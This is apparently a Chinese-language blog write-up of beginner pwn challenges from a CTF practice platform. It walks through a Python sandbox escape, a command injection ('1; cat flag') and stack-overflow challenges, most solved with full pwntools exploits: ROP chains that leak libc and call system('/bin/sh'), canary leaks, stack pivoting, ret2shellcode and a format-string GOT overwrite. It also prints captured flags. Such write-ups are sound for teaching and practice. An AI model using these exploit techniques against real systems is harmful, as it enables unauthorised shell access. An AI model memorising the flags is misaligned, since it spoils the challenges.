先看看 pwn 题吧,其他方向除了 re 都没什么心思看()
题目没有什么特定的排列顺序,最先打通的就写在前面应该大概可能不会有学弟学妹找到这里来吧
0x00 初级
这难度真的是初级吗?那我是真的废物
sandbox
非预期解
打开 flag 文件并输出
SUS>> print file('flag').read()
flag{a6YZ9JmpgQPjdz8D}
flag{flag{a6YZ9JmpgQPjdz8D}}
嵌套的flag,挺离谱
官方解
(尝试过,打不通)
SUS>> hack(hack.func_code.co_consts[1])
SUSCTF
.func_code.co_consts[]
是取函数对象中对应索引值的常量,以下就是hack
函数对象中的常量值,不过我不太了解 python 的内存布局和 pyobject 的概念
hack.func_code.co_consts[0]==None
hack.func_code.co_consts[1]=='02d210cb93c99343245780ac32c124ac'
hack.func_code.co_consts[2]=='5c72a1d444cf3121a5d25f2db4147ebb'
hack.func_code.co_consts[3]=='Guess error'
一些尝试:
SUS>> a='02d210cb93c99343245780ac32c124'+'ac'
SUS>> print a
02d210cb93c99343245780ac32c124ac
SUS>> a==hack.func_code.co_consts[1]
SUS>> print(a==hack.func_code.co_consts[1])
True ->type is str
但是:
SUS>> hack(a)
Command is not right
我猜是打开的文件名5c72a1d444cf3121a5d25f2db4147ebb
错了 尝试将打开的文件名——也就是hack.func_code.co_consts[2]
篡改为flag
,以判断hack函数成功后成功读取 flag,但是不太奏效:
SUS>> hack.func_code.co_consts[2]='flag'
hack function needs arg ->TypeError
感觉很有可能是出题人用自动化脚本改题,不然就太奇怪了
babyrop
常规的 x64ROP
from pwn import *
# from LibcSearcher import LibcSearcher
# p=process('./pwn')
p=remote('172.25.0.58',39153)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
vuln=p64(elf.symbols['vuln'])
puts=p64(elf.plt['puts'])
puts_got=p64(elf.got['puts'])
pop_rdi_ret=p64(0x400733)
retn=p64(0x4006cb)
payload1=b'a'*0x28+pop_rdi_ret+puts_got+puts+vuln
p.recvuntil('story!\n')
p.sendline(payload1)
puts_addr=u64(p.recvuntil('\n',drop=True).ljust(8,b"\x00"))
# libc = LibcSearcher('puts', puts_addr)
# libcbase = puts_addr - libc.dump('puts')
# system_addr = libcbase + libc.dump('system')
# binsh_addr = libcbase + libc.dump('str_bin_sh')
libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
payload2=b'a'*0x28+retn+pop_rdi_ret+p64(binsh_addr)+p64(system_addr)
p.recvuntil('story!\n')
p.sendline(payload2)
p.interactive()
被注释掉的是使用 LibcSearcher 的方法,本地可以打通,但打靶机的时候会找不到正确的 libc 版本导致打不通,但是题目本身并没有给 libc.so,所以我后来给补上了(2.23-0ubuntu11.3_amd64)
helloPwn
ret2text,有个后门函数getShell()会直接return system("/bin/sh);
from pwn import *
# io = process('./helloPwn')
io = remote('172.25.0.58',39154)
getshell_addr = 0x4005d7
payload = b'a'*0x40 + b'b'*0x08 + p64(getshell_addr)
# io.recvuntil("Welcome the Pwn World,follow me!")
io.sendline(payload)
io.interactive()
SUSCTF{8b72a4bd17b81766ebb6923f0dc0b2ef}
flag 藏在/home/ctf
里,但这不是本题库的 flag而是原题 flag,官方 flag 真找不到在哪脚本改题石锤
直达后门getShell()
的坏处是靶机打得通但本地打不通……吓得我以为自己完全废了
可能是栈平衡的问题?不管了强迫症的话就自己构造 ROP 链,我懒得弄
router
一开始看名字还以为是 pwn 个路由器固件,差点怀疑人生
(因为之前见过初二就 pwn 路由器的师傅,我学 ret2libc 就是受他文章引导才弄懂的)
回到题目,其实就类似于 web 题里的命令执行,关键代码如下
read(0, ip, 16);
strcat(command, ip);
system(command);
1; cat flag
sh: 1: ping: not found
flag{fzhka5b8lt6c129mspqurg4dyej73xiw}
flag{fzhka5b8lt6c129mspqurg4dyej73xiw}
littleof
题源:2021鹤城杯
开了 canary,但是每轮给了我们两次溢出的机会,所以题意是需要我们泄露 canary
from pwn import *
io = process('./littleof')
# io = remote('172.25.0.58',39157)
# io = remote('127.0.0.1',2333)
elf = ELF('./littleof')
# libc = ELF('./libc-2.27.so')
# libc = ELF('./libc-2.23.so') # for Ubuntu16.04
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
payload0 = b'a'*(0x50-0x08)
io.recvuntil("Do you know how to do buffer overflow?")
io.sendline(payload0)
io.recvuntil(payload0)
canary = u64(io.recv(8).ljust(8, b'\x00')) - 0x0a
info("canary => 0x%x"%canary)
retn = 0x4007f7
pop_rdi = 0x400863
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = 0x400789
payload1 = b'a'*(0x50-0x08) + p64(canary) + b'b'*0x08 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.recvuntil(". Try harder!")
io.sendline(payload1)
io.recvline("I hope you win")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
base = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system'] + base
binsh_addr = next(libc.search(b"/bin/sh\x00")) + base
io.recvuntil("Do you know how to do buffer overflow?")
io.sendline(payload0)
payload3 = b'a'*(0x50-0x08) + p64(canary) + b'b'*0x08 + p64(pop_rdi) + p64(binsh_addr) + p64(retn) + p64(system_addr)
# payload3 = b'a'*(0x50-0x08) + p64(canary) + b'b'*0x08 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) # for Ubuntu16.04
io.recvuntil(". Try harder!")
io.sendline(payload3)
io.interactive()
flag{1qazxdswedcdedcvgtbjinig}
栈平衡的插入位置要注意一下,之前给弄错了
一开始还傻乎乎地用题目给的 libc.so 来跑本地测试,搞半天打不通(好蠢)
虽然本地是没问题了,但是靶机(Ubuntu18.04)和自己做的容器(也是Ubuntu18.04)都会报错而拿不到 shell(如下),但是用 Ubuntu16.04 做的容器却没问题
sh: 1: cannot create =: Permission denied
sh: 1: g_no: not found
[*] Got EOF while reading in interactive
这个问题最后在DetLFY师傅的文章里找到了原因和解决办法
简单来说原因就是题目给的 libc 与靶机自身的 libc 不一致,导致传入的/bin/sh
地址不正确,所以就出现了not found
这样的报错
解决办法也很简单,EXP 换用 LibcSearcher 搜索就完事了(libc6_2.27-3ubuntu1.6_amd64
)
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = libc.dump('system') + base
binsh_addr = libc.dump('str_bin_sh') + base
shellme
基本的栈溢出,找到一段有 rwx 权限的内存写入 shellcode 并 ret2shellcode 就好了
from pwn import *
# io = process('./shellme')
io = remote('172.25.0.58',39487)
elf = ELF('./shellme')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
buf_addr = 0x23330000
pop_rdi = 0x4007a3
retn = 0x400732
read_addr = elf.plt['read']
pop_rsi_r15 = 0x4007a1
payload = b'a'*0x40 + b'b'*0x08 + p64(pop_rdi) + p64(0x00) + p64(pop_rsi_r15) + p64(buf_addr) + p64(0x00) + p64(read_addr) + p64(buf_addr)
io.recvuntil('Do you know how to use shell code to avoid ROP?')
io.sendline(payload)
sleep(1)
io.sendline(asm(shellcraft.amd64.linux.sh(),arch='amd64',os='linux'))
io.interactive()
flag{45gnsldh843h5hoshv9810os}
twice
题源:2020第五空间
栈迁移算是我第一次做,关于栈迁移另开篇文章细说吧
说回这题,由于题目对两次 read 的长度做了精准把控,第一次恰好泄露 canary 并帮你补齐 \x00,第二次恰好给你溢出32字节,往常构造的 ROP 链是塞不进去的
目前发现大概有两种办法
方法1
题目很仁慈地送了一个leave retn
的 gadget,那么我们就可以在 buffer 里构造ROP链,然后将栈迁移到 buffer 里,迁移的位置偏移是动态调试出来的
from pwn import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
# io = process('./pwn')
io = remote('172.25.0.58',39161)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
payload0 = b'a'*89
io.recv()
io.send(payload0)
io.recvuntil(payload0)
canary = u64(io.recv(7).rjust(8,b'\x00'))
info("canary => 0x%x"%canary)
rbp = u64(io.recv(6) + b'\x00'*2)
info("rbp => 0x%x"%rbp)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
info("puts_got => 0x%x"%puts_got)
main_addr = 0x40087b
pop_rdi = 0x400923
leave_ret = 0x400879
payload1 = (p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)).ljust(88,b'a') + p64(canary) + p64(rbp-0x70) + p64(leave_ret)
info("len => %d"%len(payload1))
io.recv(1)
io.send(payload1)
io.recvuntil('\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
info("puts => 0x%x"%puts_addr)
base = puts_addr - libc.symbols['puts']
sys_addr = base + libc.symbols['system']
binsh_addr = base + next(libc.search(b'/bin/sh\x00'))
payload3 = b'a'*89
io.recv()
io.send(payload3)
io.recvuntil(payload3)
canary = u64(io.recv(7).rjust(8,b'\x00'))
info("canary => 0x%x"%canary)
rbp = u64(io.recv(6) + b'\x00'*2)
info("rbp => 0x%x"%rbp)
payload4 = (p64(0) + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr) + p64(main_addr)).ljust(88,b'a') + p64(canary) +p64(rbp-0x70) + p64(leave_ret)
info("len => %d"%len(payload4))
io.recv(1)
io.send(payload4)
io.interactive()
ROP 链开头的\x00
还是没太搞懂是用来干啥的,但删掉会 EOFError,也许是截断输出方便接收字节?
题目没给 libc.so,LibcSearcher 又双叒叕拉了,幸好有存下几个常用的
一开始发现 puts 的地址怎么都不对,调了半天愣是没整出来,最后加上 debug 一会就发现接收字节那里的问题了
我知错了以后再也不裸奔 EXP 了QAQ
方法2
看到网上有师傅发现read()
的长度参数和栈里的内容相关联,于是就想到用栈里的内容构造出一个近乎无限长的输入长度
mov eax, [rbp+var_68]
movsxd rdx, eax ; nbytes
lea rax, [rbp+s]
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
emmm……很巧妙且细心的方法
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# r = process('./pwn')
r = remote('127.0.0.1', 2333)
e = ELF('./pwn')
libc = ELF('./libc-2.23.so')
puts_addr = e.plt['puts']
libc_start_main_addr = e.got["__libc_start_main"]
call_read = 0x400823
start_addr = 0x400630
r.recvuntil('>')
r.sendline(b'a'*88)
r.recvuntil('\n')
canary=r.recv(7)
ebp=r.recv(6)
ebp=ebp.ljust(8,b'\x00')
r.recvuntil('>')
r.send(b'a'*88+b'\x00'+canary+ebp+p64(call_read)) # 制造无限长度写
r.send(b'a'*72+b'\x00'+canary+ebp+p64(call_read)+p64(libc_start_main_addr)+p64(puts_addr)+p64(start_addr))
r.recvuntil('\n')
libc_addr = u64(r.recvuntil('\x7f').ljust(8,b'\x00'))
libcbase = libc_addr - libc.symbols['__libc_start_main']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh\x00'))
r.recvuntil('>')
r.sendline(b'a'*88)
r.recvuntil('\n')
canary=r.recv(7)
ebp=r.recv(6)
ebp=ebp.ljust(8,b'\x00')
r.recvuntil('>')
r.send(b'a'*88+b'\x00'+canary+ebp+p64(call_read))
r.send(b'a'*72+b'\x00'+canary+ebp+p64(call_read)+p64(binsh_addr)+p64(system_addr))
r.interactive()
flag{9okm4rtgb8uhb22wsdxcs9ij}
easy_fmt
题源:攻防世界
格式化字符串 + ret2libc
题目一开始要让你猜个5以内的随机数,需要多试几次
然后就是利用漏洞将exit()
的 GOT 表地址劫持为判定随机数之后代码的地址来绕过猜随机数并获得多几次输入的机会,偏移动态调试下就出来了
值得注意的是这样构造后我们的输入的偏移会变,这是因为先前进入函数时有指令先压入了一个 rbp 但劫持跳转后不会再被弹出,并且本次跳转进来前也会压入一个 retn_addr
最后就是构造个 ROP 链来 getshell 了
from pwn import *
from LibcSearcher import *
context(arch = "amd64",os= "linux")
context.log_level = 'debug'
io = remote("172.25.0.58",39162)
# io = process('./pwn')
elf = ELF('./pwn')
exit_got = elf.got['exit']
puts_got = elf.got['puts']
printf_got = elf.got['printf']
cmp_addr = 0x400999
io.sendlineafter('enter','1')
payload = fmtstr_payload(8,{exit_got:cmp_addr})
print(payload)
io.sendlineafter('slogan: \x00',payload)
payload = b'%10$s==>' + p64(puts_got)
io.sendafter(b'slogan: \x00',payload)
puts_addr = u64(io.recvuntil(b'==>')[:-3:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
offset = puts_addr - libc.dump('puts')
system_addr = libc.dump('system') + offset
payload = fmtstr_payload(10,{printf_got:system_addr})
io.sendlineafter('slogan: \x00',payload)
io.sendlineafter('slogan: \x00','/bin/sh')
io.interactive()
大致原理我是懂的,但是具体利用起来却经常挠破头皮,对格式化字符串漏洞的理解还是不透彻唉
flag{1qaz3eujm5tfyhnuholkeyhy}
0x01 中级
初级都没做完还想看我做中级?
0x02 高级
你不会以为我真的能到这水平吧
Comments NOTHING